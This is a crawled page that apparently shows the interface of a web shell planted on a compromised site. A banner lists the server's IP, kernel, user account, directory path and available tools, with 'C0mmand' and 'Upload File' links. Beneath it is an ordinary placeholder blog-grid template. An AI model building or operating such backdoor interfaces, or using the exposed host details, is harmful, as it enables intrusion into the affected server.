|
Server IP : 103.53.40.154 / Your IP : 3.133.137.10 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/samingpvtltd.com/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>CONSULT - Consultancy Website Template</title>
<meta content="width=device-width, initial-scale=1.0" name="viewport">
<meta content="Free HTML Templates" name="keywords">
<meta content="Free HTML Templates" name="description">
<!-- Favicon -->
<link href="img/favicon.ico" rel="icon">
<!-- Google Web Fonts -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Barlow:wght@500;600;700&family=Open+Sans:wght@400;600&display=swap" rel="stylesheet">
<!-- Icon Font Stylesheet -->
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet">
<link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" rel="stylesheet">
<!-- Libraries Stylesheet -->
<link href="lib/owlcarousel/assets/owl.carousel.min.css" rel="stylesheet">
<!-- Customized Bootstrap Stylesheet -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<!-- Template Stylesheet -->
<link href="css/style.css" rel="stylesheet">
</head>
<div>
<!-- Topbar Start -->
<div class="container-fluid bg-secondary ps-5 pe-0 d-none d-lg-block">
<div class="row gx-0">
<div class="col-md-6 text-center text-lg-start mb-2 mb-lg-0">
<div class="d-inline-flex align-items-center">
<a class="text-body py-2 pe-3 border-end" href=""><small>FAQs</small></a>
<a class="text-body py-2 px-3 border-end" href=""><small>Support</small></a>
<a class="text-body py-2 px-3 border-end" href=""><small>Privacy</small></a>
<a class="text-body py-2 px-3 border-end" href=""><small>Policy</small></a>
<a class="text-body py-2 ps-3" href=""><small>Career</small></a>
</div>
</div>
<div class="col-md-6 text-center text-lg-end">
<div class="position-relative d-inline-flex align-items-center bg-primary text-white top-shape px-5">
<div class="me-3 pe-3 border-end py-2">
<p class="m-0"><i class="fa fa-envelope-open me-2"></i>info@example.com</p>
</div>
<div class="py-2">
<p class="m-0"><i class="fa fa-phone-alt me-2"></i>+012 345 6789</p>
</div>
</div>
</div>
</div>
</div>
<!-- Topbar End -->
<!-- Navbar Start -->
<nav class="navbar navbar-expand-lg bg-white navbar-light shadow-sm px-5 py-3 py-lg-0">
<a href="index.html" class="navbar-brand p-0">
<h1 class="m-0 text-uppercase text-primary"><i class="far fa-smile text-primary me-2"></i>consult</h1>
</a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarCollapse">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarCollapse">
<div class="navbar-nav ms-auto py-0 me-n3">
<a href="index.html" class="nav-item nav-link">Home</a>
<a href="about.html" class="nav-item nav-link">About</a>
<a href="service.html" class="nav-item nav-link">Service</a>
<div class="nav-item dropdown">
<a href="#" class="nav-link dropdown-toggle active" data-bs-toggle="dropdown">Pages</a>
<div class="dropdown-menu m-0">
<a href="blog.html" class="dropdown-item active">Blog Grid</a>
<a href="detail.html" class="dropdown-item">Blog Detail</a>
<a href="feature.html" class="dropdown-item">Features</a>
<a href="quote.html" class="dropdown-item">Quote Form</a>
<a href="team.html" class="dropdown-item">The Team</a>
<a href="testimonial.html" class="dropdown-item">Testimonial</a>
</div>
</div>
<a href="contact.html" class="nav-item nav-link">Contact</a>
</div>
</div>
</nav>
<!-- Navbar End -->
<!-- Page Header Start -->
<div class="container-fluid bg-dark p-5">
<div class="row">
<div class="col-12 text-center">
<h1 class="display-4 text-white">Blog Grid</h1>
<a href="">Home</a>
<i class="far fa-square text-primary px-2"></i>
<a href="">Blog Grid</a>
</div>
</div>
</div>
<!-- Page Header End -->
<!-- Blog Start -->
<div class="container-fluid py-6 px-5">
<div class="row g-5">
<!-- Blog list Start -->
<div class="col-lg-8">
<div class="row g-5">
<div class="col-xl-6 col-lg-12 col-md-6">
<div class="blog-item">
<div class="position-relative overflow-hidden">
<img class="img-fluid" src="img/blog-1.jpg" alt="">
</div>
<div class="bg-secondary d-flex">
<div class="flex-shrink-0 d-flex flex-column justify-content-center text-center bg-primary text-white px-4">
<span>01</span>
<h5 class="text-uppercase m-0">Jan</h5>
<span>2045</span>
</div>
<div class="d-flex flex-column justify-content-center py-3 px-4">
<div class="d-flex mb-2">
<small class="text-uppercase me-3"><i class="bi bi-person me-2"></i>Admin</small>
<small class="text-uppercase me-3"><i class="bi bi-bookmarks me-2"></i>Web Design</small>
</div>
<a class="h4" href="">Magna sea dolor ipsum amet lorem eos</a>
</div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-12 col-md-6">
<div class="blog-item">
<div class="position-relative overflow-hidden">
<img class="img-fluid" src="img/blog-1.jpg" alt="">
</div>
<div class="bg-secondary d-flex">
<div class="flex-shrink-0 d-flex flex-column justify-content-center text-center bg-primary text-white px-4">
<span>01</span>
<h5 class="text-uppercase m-0">Jan</h5>
<span>2045</span>
</div>
<div class="d-flex flex-column justify-content-center py-3 px-4">
<div class="d-flex mb-2">
<small class="text-uppercase me-3"><i class="bi bi-person me-2"></i>Admin</small>
<small class="text-uppercase me-3"><i class="bi bi-bookmarks me-2"></i>Web Design</small>
</div>
<a class="h4" href="">Magna sea dolor ipsum amet lorem eos</a>
</div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-12 col-md-6">
<div class="blog-item">
<div class="position-relative overflow-hidden">
<img class="img-fluid" src="img/blog-1.jpg" alt="">
</div>
<div class="bg-secondary d-flex">
<div class="flex-shrink-0 d-flex flex-column justify-content-center text-center bg-primary text-white px-4">
<span>01</span>
<h5 class="text-uppercase m-0">Jan</h5>
<span>2045</span>
</div>
<div class="d-flex flex-column justify-content-center py-3 px-4">
<div class="d-flex mb-2">
<small class="text-uppercase me-3"><i class="bi bi-person me-2"></i>Admin</small>
<small class="text-uppercase me-3"><i class="bi bi-bookmarks me-2"></i>Web Design</small>
</div>
<a class="h4" href="">Magna sea dolor ipsum amet lorem eos</a>
</div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-12 col-md-6">
<div class="blog-item">
<div class="position-relative overflow-hidden">
<img class="img-fluid" src="img/blog-1.jpg" alt="">
</div>
<div class="bg-secondary d-flex">
<div class="flex-shrink-0 d-flex flex-column justify-content-center text-center bg-primary text-white px-4">
<span>01</span>
<h5 class="text-uppercase m-0">Jan</h5>
<span>2045</span>
</div>
<div class="d-flex flex-column justify-content-center py-3 px-4">
<div class="d-flex mb-2">
<small class="text-uppercase me-3"><i class="bi bi-person me-2"></i>Admin</small>
<small class="text-uppercase me-3"><i class="bi bi-bookmarks me-2"></i>Web Design</small>
</div>
<a class="h4" href="">Magna sea dolor ipsum amet lorem eos</a>
</div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-12 col-md-6">
<div class="blog-item">
<div class="position-relative overflow-hidden">
<img class="img-fluid" src="img/blog-1.jpg" alt="">
</div>
<div class="bg-secondary d-flex">
<div class="flex-shrink-0 d-flex flex-column justify-content-center text-center bg-primary text-white px-4">
<span>01</span>
<h5 class="text-uppercase m-0">Jan</h5>
<span>2045</span>
</div>
<div class="d-flex flex-column justify-content-center py-3 px-4">
<div class="d-flex mb-2">
<small class="text-uppercase me-3"><i class="bi bi-person me-2"></i>Admin</small>
<small class="text-uppercase me-3"><i class="bi bi-bookmarks me-2"></i>Web Design</small>
</div>
<a class="h4" href="">Magna sea dolor ipsum amet lorem eos</a>
</div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-12 col-md-6">
<div class="blog-item">
<div class="position-relative overflow-hidden">
<img class="img-fluid" src="img/blog-1.jpg" alt="">
</div>
<div class="bg-secondary d-flex">
<div class="flex-shrink-0 d-flex flex-column justify-content-center text-center bg-primary text-white px-4">
<span>01</span>
<h5 class="text-uppercase m-0">Jan</h5>
<span>2045</span>
</div>
<div class="d-flex flex-column justify-content-center py-3 px-4">
<div class="d-flex mb-2">
<small class="text-uppercase me-3"><i class="bi bi-person me-2"></i>Admin</small>
<small class="text-uppercase me-3"><i class="bi bi-bookmarks me-2"></i>Web Design</small>
</div>
<a class="h4" href="">Magna sea dolor ipsum amet lorem eos</a>
</div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-12 col-md-6">
<div class="blog-item">
<div class="position-relative overflow-hidden">
<img class="img-fluid" src="img/blog-1.jpg" alt="">
</div>
<div class="bg-secondary d-flex">
<div class="flex-shrink-0 d-flex flex-column justify-content-center text-center bg-primary text-white px-4">
<span>01</span>
<h5 class="text-uppercase m-0">Jan</h5>
<span>2045</span>
</div>
<div class="d-flex flex-column justify-content-center py-3 px-4">
<div class="d-flex mb-2">
<small class="text-uppercase me-3"><i class="bi bi-person me-2"></i>Admin</small>
<small class="text-uppercase me-3"><i class="bi bi-bookmarks me-2"></i>Web Design</small>
</div>
<a class="h4" href="">Magna sea dolor ipsum amet lorem eos</a>
</div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-12 col-md-6">
<div class="blog-item">
<div class="position-relative overflow-hidden">
<img class="img-fluid" src="img/blog-1.jpg" alt="">
</div>
<div class="bg-secondary d-flex">
<div class="flex-shrink-0 d-flex flex-column justify-content-center text-center bg-primary text-white px-4">
<span>01</span>
<h5 class="text-uppercase m-0">Jan</h5>
<span>2045</span>
</div>
<div class="d-flex flex-column justify-content-center py-3 px-4">
<div class="d-flex mb-2">
<small class="text-uppercase me-3"><i class="bi bi-person me-2"></i>Admin</small>
<small class="text-uppercase me-3"><i class="bi bi-bookmarks me-2"></i>Web Design</small>
</div>
<a class="h4" href="">Magna sea dolor ipsum amet lorem eos</a>
</div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-12 col-md-6">
<div class="blog-item">
<div class="position-relative overflow-hidden">
<img class="img-fluid" src="img/blog-1.jpg" alt="">
</div>
<div class="bg-secondary d-flex">
<div class="flex-shrink-0 d-flex flex-column justify-content-center text-center bg-primary text-white px-4">
<span>01</span>
<h5 class="text-uppercase m-0">Jan</h5>
<span>2045</span>
</div>
<div class="d-flex flex-column justify-content-center py-3 px-4">
<div class="d-flex mb-2">
<small class="text-uppercase me-3"><i class="bi bi-person me-2"></i>Admin</small>
<small class="text-uppercase me-3"><i class="bi bi-bookmarks me-2"></i>Web Design</small>
</div>
<a class="h4" href="">Magna sea dolor ipsum amet lorem eos</a>
</div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-12 col-md-6">
<div class="blog-item">
<div class="position-relative overflow-hidden">
<img class="img-fluid" src="img/blog-1.jpg" alt="">
</div>
<div class="bg-secondary d-flex">
<div class="flex-shrink-0 d-flex flex-column justify-content-center text-center bg-primary text-white px-4">
<span>01</span>
<h5 class="text-uppercase m-0">Jan</h5>
<span>2045</span>
</div>
<div class="d-flex flex-column justify-content-center py-3 px-4">
<div class="d-flex mb-2">
<small class="text-uppercase me-3"><i class="bi bi-person me-2"></i>Admin</small>
<small class="text-uppercase me-3"><i class="bi bi-bookmarks me-2"></i>Web Design</small>
</div>
<a class="h4" href="">Magna sea dolor ipsum amet lorem eos</a>
</div>
</div>
</div>
</div>
<div class="col-12">
<nav aria-label="Page navigation">
<ul class="pagination pagination-lg m-0">
<li class="page-item disabled">
<a class="page-link rounded-0" href="#" aria-label="Previous">
<span aria-hidden="true"><i class="bi bi-arrow-left"></i></span>
</a>
</li>
<li class="page-item active"><a class="page-link" href="#">1</a></li>
<li class="page-item"><a class="page-link" href="#">2</a></li>
<li class="page-item"><a class="page-link" href="#">3</a></li>
<li class="page-item">
<a class="page-link rounded-0" href="#" aria-label="Next">
<span aria-hidden="true"><i class="bi bi-arrow-right"></i></span>
</a>
</li>
</ul>
</nav>
</div>
</div>
</div>
<!-- Blog list End -->
<!-- Sidebar Start -->
<div class="col-lg-4">
<!-- Search Form Start -->
<div class="mb-5">
<div class="input-group">
<input type="text" class="form-control p-3" placeholder="Keyword">
<button class="btn btn-primary px-4"><i class="bi bi-search"></i></button>
</div>
</div>
<!-- Search Form End -->
<!-- Category Start -->
<div class="mb-5">
<h2 class="mb-4">Categories</h2>
<div class="d-flex flex-column justify-content-start bg-secondary p-4">
<a class="h5 mb-3" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Web Design</a>
<a class="h5 mb-3" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Web Development</a>
<a class="h5 mb-3" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Web Development</a>
<a class="h5 mb-3" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Keyword Research</a>
<a class="h5" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Email Marketing</a>
</div>
</div>
<!-- Category End -->
<!-- Recent Post Start -->
<div class="mb-5">
<h2 class="mb-4">Recent Post</h2>
<div class="d-flex mb-3">
<img class="img-fluid" src="img/blog-1.jpg" style="width: 100px; height: 100px; object-fit: cover;" alt="">
<a href="" class="h5 d-flex align-items-center bg-secondary px-3 mb-0">Lorem ipsum dolor sit amet adipis elit
</a>
</div>
<div class="d-flex mb-3">
<img class="img-fluid" src="img/blog-1.jpg" style="width: 100px; height: 100px; object-fit: cover;" alt="">
<a href="" class="h5 d-flex align-items-center bg-secondary px-3 mb-0">Lorem ipsum dolor sit amet adipis elit
</a>
</div>
<div class="d-flex mb-3">
<img class="img-fluid" src="img/blog-1.jpg" style="width: 100px; height: 100px; object-fit: cover;" alt="">
<a href="" class="h5 d-flex align-items-center bg-secondary px-3 mb-0">Lorem ipsum dolor sit amet adipis elit
</a>
</div>
<div class="d-flex mb-3">
<img class="img-fluid" src="img/blog-1.jpg" style="width: 100px; height: 100px; object-fit: cover;" alt="">
<a href="" class="h5 d-flex align-items-center bg-secondary px-3 mb-0">Lorem ipsum dolor sit amet adipis elit
</a>
</div>
<div class="d-flex">
<img class="img-fluid" src="img/blog-1.jpg" style="width: 100px; height: 100px; object-fit: cover;" alt="">
<a href="" class="h5 d-flex align-items-center bg-secondary px-3 mb-0">Lorem ipsum dolor sit amet adipis elit
</a>
</div>
</div>
<!-- Recent Post End -->
<!-- Image Start -->
<div class="mb-5">
<img src="img/blog-1.jpg" alt="" class="img-fluid">
</div>
<!-- Image End -->
<!-- Tags Start -->
<div class="mb-5">
<h2 class="mb-4">Tag Cloud</h2>
<div class="d-flex flex-wrap m-n1">
<a href="" class="btn btn-secondary m-1">Design</a>
<a href="" class="btn btn-secondary m-1">Development</a>
<a href="" class="btn btn-secondary m-1">Marketing</a>
<a href="" class="btn btn-secondary m-1">SEO</a>
<a href="" class="btn btn-secondary m-1">Writing</a>
<a href="" class="btn btn-secondary m-1">Consulting</a>
<a href="" class="btn btn-secondary m-1">Design</a>
<a href="" class="btn btn-secondary m-1">Development</a>
<a href="" class="btn btn-secondary m-1">Marketing</a>
<a href="" class="btn btn-secondary m-1">SEO</a>
<a href="" class="btn btn-secondary m-1">Writing</a>
<a href="" class="btn btn-secondary m-1">Consulting</a>
</div>
</div>
<!-- Tags End -->
<!-- Plain Text Start -->
<div>
<h2 class="mb-4">Plain Text</h2>
<div class="bg-secondary text-center" style="padding: 30px;">
<p>Vero sea et accusam justo dolor accusam lorem consetetur, dolores sit amet sit dolor clita kasd justo, diam accusam no sea ut tempor magna takimata, amet sit et diam dolor ipsum amet diam</p>
<a href="" class="btn btn-primary rounded-pill py-2 px-4">Read More</a>
</div>
</div>
<!-- Plain Text End -->
</div>
<!-- Sidebar End -->
</div>
</div>
<!-- Blog End -->
<!-- Footer Start -->
<div class="container-fluid bg-primary text-secondary p-5">
<div class="row g-5">
<div class="col-12 text-center">
<h1 class="display-5 mb-4">Stay Update!!!</h1>
<form class="mx-auto" style="max-width: 600px;">
<div class="input-group">
<input type="text" class="form-control border-white p-3" placeholder="Your Email">
<button class="btn btn-dark px-4">Sign Up</button>
</div>
</form>
</div>
</div>
</div>
<div class="container-fluid bg-dark text-secondary p-5">
<div class="row g-5">
<div class="col-lg-3 col-md-6">
<h3 class="text-white mb-4">Quick Links</h3>
<div class="d-flex flex-column justify-content-start">
<a class="text-secondary mb-2" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Home</a>
<a class="text-secondary mb-2" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>About Us</a>
<a class="text-secondary mb-2" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Our Services</a>
<a class="text-secondary mb-2" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Latest Blog Post</a>
<a class="text-secondary" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Contact Us</a>
</div>
</div>
<div class="col-lg-3 col-md-6">
<h3 class="text-white mb-4">Popular Links</h3>
<div class="d-flex flex-column justify-content-start">
<a class="text-secondary mb-2" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Home</a>
<a class="text-secondary mb-2" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>About Us</a>
<a class="text-secondary mb-2" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Our Services</a>
<a class="text-secondary mb-2" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Latest Blog Post</a>
<a class="text-secondary" href="#"><i class="bi bi-arrow-right text-primary me-2"></i>Contact Us</a>
</div>
</div>
<div class="col-lg-3 col-md-6">
<h3 class="text-white mb-4">Get In Touch</h3>
<p class="mb-2"><i class="bi bi-geo-alt text-primary me-2"></i>123 Street, New York, USA</p>
<p class="mb-2"><i class="bi bi-envelope-open text-primary me-2"></i>info@example.com</p>
<p class="mb-0"><i class="bi bi-telephone text-primary me-2"></i>+012 345 67890</p>
</div>
<div class="col-lg-3 col-md-6">
<h3 class="text-white mb-4">Follow Us</h3>
<div class="d-flex">
<a class="btn btn-lg btn-primary btn-lg-square rounded-circle me-2" href="#"><i class="fab fa-twitter fw-normal"></i></a>
<a class="btn btn-lg btn-primary btn-lg-square rounded-circle me-2" href="#"><i class="fab fa-facebook-f fw-normal"></i></a>
<a class="btn btn-lg btn-primary btn-lg-square rounded-circle me-2" href="#"><i class="fab fa-linkedin-in fw-normal"></i></a>
<a class="btn btn-lg btn-primary btn-lg-square rounded-circle" href="#"><i class="fab fa-instagram fw-normal"></i></a>
</div>
</div>
</div>
</div>
<div class="container-fluid bg-dark text-secondary text-center border-top py-4 px-5" style="border-color: rgba(256, 256, 256, .1) !important;">
<p class="m-0">© <a class="text-secondary border-bottom" href="#">Your Site Name</a>. All Rights Reserved. Designed by <a class="text-secondary border-bottom" href="https://htmlcodex.com">HTML Codex</a></p>
</div>
<!-- Footer End -->
<!-- Back to Top -->
<a href="#" class="btn btn-lg btn-primary btn-lg-square rounded-circle back-to-top"><i class="bi bi-arrow-up"></i></a>
<!-- JavaScript Libraries -->
<script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0/dist/js/bootstrap.bundle.min.js"></script>
<script src="lib/easing/easing.min.js"></script>
<script src="lib/waypoints/waypoints.min.js"></script>
<script src="lib/owlcarousel/owl.carousel.min.js"></script>
<!-- Template Javascript -->
<script src="js/main.js"></script>
</body>
</html>